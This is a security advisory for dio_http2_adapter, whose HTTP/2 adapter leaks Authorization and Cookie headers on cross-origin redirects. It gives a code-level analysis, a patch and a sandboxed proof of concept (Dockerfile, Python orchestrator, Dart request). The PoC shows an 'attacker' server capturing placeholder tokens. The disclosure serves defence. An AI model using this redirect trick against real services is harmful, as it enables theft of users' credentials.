
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: >= 1.0.0, <= 2.7.1
Patched in 2.8.0
Details
dio_http2_adapter follows HTTP Location redirects without stripping sensitive request headers when the redirect target is a different origin. An attacker who can cause any origin server to return a cross-origin 302 redirect receives the victim's Authorization, Cookie, and Proxy-Authorization headers verbatim. This vulnerability has a CVSS v3.1 base score of 7.5 (High) because followRedirects is enabled by default, no authentication is required to exploit it, and the confidentiality impact is high.
When Dio is configured to use Http2Adapter, the adapter's internal _fetch method constructs HTTP/2 request headers by unconditionally copying all entries from options.headers:
// plugins/http2_adapter/lib/src/http2_adapter.dart:111
headers.addAll(
options.headers.entries.map((entry) {
...
return Header.ascii(entry.key.toLowerCase(), v);
}).toList(),
);
On receiving a 3xx response, the adapter reads the Location header and resolves the redirect target URI:
// plugins/http2_adapter/lib/src/http2_adapter.dart:254-263
final url = responseHeaders.value('location');
final uri = Uri.parse(url ?? '');
final String path = resolveRedirectUri(options.uri, uri).toString();
return _fetch(options.copyWith(path: path, maxRedirects: --options.maxRedirects), ...);
options.copyWith is called without an explicit headers argument; dio/lib/src/options.dart:629 therefore preserves the full original header map via headers ?? Map.from(this.headers). resolveRedirectUri (http2_adapter.dart:290) returns an attacker-controlled cross-origin URI without any origin comparison. The combination means that on every redirect, the full set of original sensitive headers — including Authorization, Cookie, and Proxy-Authorization — is forwarded to the new authority with no sanitization.
Data flow (source → sink):
dio/lib/src/dio_mixin.dart:383 — public Dio.request<T>(String path, ...) entry point.dio/lib/src/options.dart:331 — base and per-request headers merged into RequestOptions.dio/lib/src/dio_mixin.dart:596 — httpClientAdapter.fetch(reqOpt, ...) dispatches to Http2Adapter.plugins/http2_adapter/lib/src/http2_adapter.dart:254 — Location header is read from the network response (attacker-controlled source).plugins/http2_adapter/lib/src/http2_adapter.dart:258 — redirect target URI resolved; cross-origin check absent.plugins/http2_adapter/lib/src/http2_adapter.dart:260 — options.copyWith(path: path, ...) called without headers override.dio/lib/src/options.dart:629 — copyWith preserves Map.from(this.headers) — all sensitive headers retained.plugins/http2_adapter/lib/src/http2_adapter.dart:111 — preserved headers emitted verbatim to the cross-origin HTTP/2 request (sink).Suggested patch — strip sensitive headers before following a cross-origin redirect:
--- a/plugins/http2_adapter/lib/src/http2_adapter.dart
+++ b/plugins/http2_adapter/lib/src/http2_adapter.dart
+ static const _sensitiveRedirectHeaders = {
+ 'authorization',
+ 'cookie',
+ 'proxy-authorization',
+ };
+
- final String path = resolveRedirectUri(options.uri, uri).toString();
+ final redirectUri = resolveRedirectUri(options.uri, uri);
+ final redirectOptions = options.copyWith(
+ path: redirectUri.toString(),
+ maxRedirects: --options.maxRedirects,
+ );
+ if (!_sameOrigin(options.uri, redirectUri)) {
+ redirectOptions.headers.removeWhere(
+ (name, _) => _sensitiveRedirectHeaders.contains(name.toLowerCase()),
+ );
+ }
return _fetch(
- options.copyWith(path: path, maxRedirects: --options.maxRedirects),
+ redirectOptions,
list != null ? Stream.fromIterable(list) : null,
cancelFuture,
redirects,
);
+
+ static bool _sameOrigin(Uri a, Uri b) =>
+ a.scheme == b.scheme && a.host == b.host && a.port == b.port;
The following steps reproduce the vulnerability using two local HTTP/2 cleartext (h2c) servers inside an isolated Docker container (no external network required).
Prerequisites:
Build and run:
# From the repository root (github_web_81_cfug__dio/)
docker build -f vuln-001/Dockerfile -t dio-vuln-001:poc .
docker run --rm --network none dio-vuln-001:poc
What the container does:
127.0.0.1:18081 that immediately returns 302 Location: http://127.0.0.1:18082/capture.127.0.0.1:18082 that logs every received header.final dio = Dio()
..httpClientAdapter = Http2Adapter(ConnectionManager());
await dio.get(
'http://127.0.0.1:18081/start',
options: Options(headers: {
'Authorization': 'Bearer SECRET_TOKEN_12345',
'Cookie': 'sid=SECRET_SESSION_ABC',
'x-secret': 'internal-secret-value',
}),
);
Expected output (confirms vulnerability):
RESULT=VULN_CONFIRMED
LEAKED_HEADER=authorization: Bearer SECRET_TOKEN_12345
LEAKED_COOKIE=sid=SECRET_SESSION_ABC
[ATTACKER] Received headers:
[ATTACKER] authorization: Bearer SECRET_TOKEN_12345
[ATTACKER] cookie: sid=SECRET_SESSION_ABC
[ATTACKER] x-secret: internal-secret-value
The attacker server at 127.0.0.1:18082 receives all three sensitive headers, demonstrating that Http2Adapter forwards them verbatim across the cross-origin redirect with no stripping.
This is a sensitive information disclosure vulnerability. Any application that:
Dio with Http2Adapter, andAuthorization, Cookie, or Proxy-Authorization headers,is affected. Because followRedirects defaults to true and maxRedirects defaults to 5, no additional configuration is needed to trigger the bug.
An attacker who controls — or can compromise — any HTTP server that the victim application contacts can issue a 302 redirect to an attacker-owned server and thereby capture the victim's bearer tokens, session cookies, or proxy credentials. The attack requires no prior authentication and is executable over the network with low complexity. Stolen credentials may then be used to impersonate the victim against the original service or any other service that accepts the same token.
Affected parties include server-side Dart/Flutter applications and CLI tools that make authenticated HTTP/2 requests through dio_http2_adapter.
Dockerfile# Dockerfile for VULN-001 dynamic reproduction
# Vulnerability: Cross-origin redirect leaks sensitive request headers in dio_http2_adapter
#
# Build context: the parent directory (github_web_81_cfug__dio/)
# docker build -f vuln-001/Dockerfile -t dio-vuln-001 .
#
# What this image does:
# 1. Installs Dart SDK (stable)
# 2. Copies the vulnerable repository source (dio + dio_http2_adapter)
# 3. Creates a PoC Dart project using path dependencies to the local source
# 4. Resolves pub packages
# 5. On container run: executes the exploit script that starts two local
# h2c servers (origin + attacker) and makes a redirected request to prove
# that Authorization/Cookie headers are forwarded to the cross-origin target
FROM dart:stable AS builder
# ── Repository source ──────────────────────────────────────────────────────────
# Copy only the packages we need to keep image small
COPY repo/dio/ /repo/dio/
COPY repo/plugins/http2_adapter/ /repo/plugins/http2_adapter/
# ── PoC project setup ──────────────────────────────────────────────────────────
WORKDIR /poc
COPY vuln-001/poc_pubspec.yaml pubspec.yaml
COPY vuln-001/poc_exploit.dart lib/main.dart
# Resolve dependencies (requires network access to pub.dev for http2, meta, etc.)
RUN dart pub get
# ── Runtime image (reuse builder to keep it simple) ────────────────────────────
FROM builder AS final
WORKDIR /poc
# Run the exploit; exit code:
# 0 = VULN_CONFIRMED (authorization header leaked to attacker)
# 1 = NOT_VULNERABLE (header was stripped or redirect not followed)
# 2 = FAIL (attacker server never received a request — env issue)
CMD ["dart", "run", "lib/main.dart"]
poc.py#!/usr/bin/env python3
"""
PoC orchestrator for VULN-001:
Cross-origin redirect leaks sensitive request headers in dio_http2_adapter.
Usage:
python3 poc.py [--image-tag TAG]
What it does:
1. Builds a Docker image containing the vulnerable dio_http2_adapter source
and a Dart exploit script (poc_exploit.dart).
2. Runs the container, which:
a. Starts two local h2c (HTTP/2 cleartext) servers inside the container:
- Origin (127.0.0.1:18081): returns 302 → attacker
- Attacker (127.0.0.1:18082): logs all received headers
b. Uses dio + Http2Adapter to GET http://origin/start with
Authorization and Cookie headers.
c. Follows the 302 redirect to the attacker server.
d. Reports whether the Authorization header was captured by the attacker.
3. Writes phase2_result.json with structured verdict.
Exit codes:
0 PASS — vulnerability confirmed
1 FAIL — not reproduced
2 ERROR — build or runtime environment problem
"""
import argparse
import json
import os
import subprocess
import sys
import textwrap
from pathlib import Path
# ── Paths ──────────────────────────────────────────────────────────────────────
SCRIPT_DIR = Path(__file__).resolve().parent
REPO_ROOT = SCRIPT_DIR.parent # github_web_81_cfug__dio/
RESULT_FILE = SCRIPT_DIR / "phase2_result.json"
BUILD_CONTEXT = str(REPO_ROOT)
DOCKERFILE = str(SCRIPT_DIR / "Dockerfile")
DEFAULT_IMAGE_TAG = "dio-vuln-001:poc"
def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:
"""Run a subprocess command, streaming stdout/stderr to the terminal."""
print(f"[+] {' '.join(cmd)}", flush=True)
return subprocess.run(cmd, **kwargs)
def build_image(tag: str) -> bool:
"""Build the Docker image. Returns True on success."""
result = run(
[
"docker", "build",
"--file", DOCKERFILE,
"--tag", tag,
BUILD_CONTEXT,
],
check=False,
)
if result.returncode != 0:
print(f"[!] Docker build failed (exit {result.returncode})", file=sys.stderr)
return False
return True
def run_container(tag: str, timeout_sec: int = 120) -> tuple[int, str, str]:
"""
Run the container and capture its output.
Returns:
(returncode, stdout, stderr)
"""
result = run(
[
"docker", "run",
"--rm",
"--network", "none", # no external network; loopback only
tag,
],
capture_output=True,
text=True,
timeout=timeout_sec,
check=False,
)
return result.returncode, result.stdout, result.stderr
def parse_output(stdout: str, stderr: str) -> dict:
"""
Parse structured key=value lines from the exploit's stdout.
The Dart exploit writes lines like:
RESULT=VULN_CONFIRMED
LEAKED_HEADER=authorization: Bearer SECRET_TOKEN_12345
EVIDENCE=...
"""
parsed = {}
for line in stdout.splitlines():
if "=" in line:
key, _, val = line.partition("=")
parsed[key.strip()] = val.strip()
return parsed
def write_result(data: dict) -> None:
with open(RESULT_FILE, "w", encoding="utf-8") as f:
json.dump(data, f, ensure_ascii=False, indent=2)
print(f"\n[+] Result written to {RESULT_FILE}")
def main() -> int:
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument(
"--image-tag", default=DEFAULT_IMAGE_TAG,
help=f"Docker image tag (default: {DEFAULT_IMAGE_TAG})",
)
args = parser.parse_args()
tag = args.image_tag
build_cmd = (
f"docker build -f vuln-001/Dockerfile -t {tag} ."
)
run_cmd = (
f"docker run --rm --network none {tag}"
)
poc_cmd = (
f"cd {REPO_ROOT} && {build_cmd} && {run_cmd}"
)
# ── Step 1: Build ──────────────────────────────────────────────────────────
print("=" * 70)
print("STEP 1: Building Docker image")
print("=" * 70)
if not build_image(tag):
result_data = {
"passed": False,
"verdict": "FAIL",
"reason": "Docker image build failed — dart pub get or source copy error",
"build_command": f"cd {REPO_ROOT} && {build_cmd}",
"run_command": run_cmd,
"poc_command": poc_cmd,
"evidence": "docker build non-zero exit code",
"artifacts": ["Dockerfile", "poc_exploit.dart", "poc_pubspec.yaml"],
}
write_result(result_data)
return 2
# ── Step 2: Run exploit ────────────────────────────────────────────────────
print("\n" + "=" * 70)
print("STEP 2: Running exploit container")
print("=" * 70)
try:
returncode, stdout, stderr = run_container(tag)
except subprocess.TimeoutExpired:
result_data = {
"passed": False,
"verdict": "INCOMPLETE",
"reason": "Container execution did not complete within 120 seconds and was terminated due to timeout",
"build_command": f"cd {REPO_ROOT} && {build_cmd}",
"run_command": run_cmd,
"poc_command": poc_cmd,
"evidence": "subprocess.TimeoutExpired after 120 s",
"artifacts": ["Dockerfile", "poc_exploit.dart", "poc_pubspec.yaml"],
}
write_result(result_data)
return 2
print("\n── Container STDOUT ─────────────────────────────────────────────")
print(stdout or "(empty)")
print("── Container STDERR ─────────────────────────────────────────────")
print(stderr or "(empty)")
print("── Exit code:", returncode, "─────────────────────────────────────")
# ── Step 3: Evaluate results ───────────────────────────────────────────────
parsed = parse_output(stdout, stderr)
exploit_result = parsed.get("RESULT", "")
leaked_header = parsed.get("LEAKED_HEADER", "")
evidence_line = parsed.get("EVIDENCE", "")
if returncode == 0 and exploit_result == "VULN_CONFIRMED" and leaked_header:
# Combine stdout + a snippet of stderr for the evidence field
stderr_snippet = "\n".join(
line for line in stderr.splitlines()
if any(tag in line for tag in ("[ATTACKER]", "[RESULT]", "[EVIDENCE]"))
)[:1500]
evidence = (
f"stdout: {stdout.strip()}\n\n"
f"stderr (relevant):\n{stderr_snippet}"
)
result_data = {
"passed": True,
"verdict": "PASS",
"reason": (
"dio_http2_adapter forwarded the original Authorization header verbatim "
"to the attacker's server without stripping it when following a "
"cross-origin 302 redirect. The attacker h2c server (127.0.0.1:18082) "
f"received '{leaked_header}'."
),
"build_command": f"cd {REPO_ROOT} && {build_cmd}",
"run_command": run_cmd,
"poc_command": poc_cmd,
"evidence": evidence,
"artifacts": [
"Dockerfile",
"poc_exploit.dart",
"poc_pubspec.yaml",
"poc.py",
],
}
write_result(result_data)
print("\n[PASS] VULN-001 reproduced successfully.")
return 0
elif returncode == 1 or exploit_result == "NOT_VULNERABLE":
result_data = {
"passed": False,
"verdict": "FAIL",
"reason": (
"Container execution succeeded, but the attacker server did not "
"receive the Authorization header. The vulnerability was not "
f"reproduced in this environment. Parsed result: {parsed}"
),
"build_command": f"cd {REPO_ROOT} && {build_cmd}",
"run_command": run_cmd,
"poc_command": poc_cmd,
"evidence": stdout + "\n" + stderr,
"artifacts": ["Dockerfile", "poc_exploit.dart", "poc_pubspec.yaml"],
}
write_result(result_data)
print("\n[FAIL] Vulnerability not reproduced.")
return 1
else:
# returncode == 2 or other unexpected failure
result_data = {
"passed": False,
"verdict": "INCOMPLETE",
"reason": (
f"Container execution failed or exited with an unexpected code {returncode}. "
"Cause: h2c server startup error, network issue, or Dart runtime "
"error. Check the stderr log and retry without --network none."
),
"build_command": f"cd {REPO_ROOT} && {build_cmd}",
"run_command": run_cmd,
"poc_command": poc_cmd,
"evidence": f"exit={returncode}\nstdout={stdout}\nstderr={stderr}",
"artifacts": ["Dockerfile", "poc_exploit.dart", "poc_pubspec.yaml"],
}
write_result(result_data)
print(f"\n[INCOMPLETE] Container exited with code {returncode}.")
return 2
if __name__ == "__main__":
sys.exit(main())
EPSS, exploit probability
Low0.36%
estimated chance of real-world exploitation in the next 30 days, higher than 28.0% of every CVE FIRST.org scores
Refreshed 10/15/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.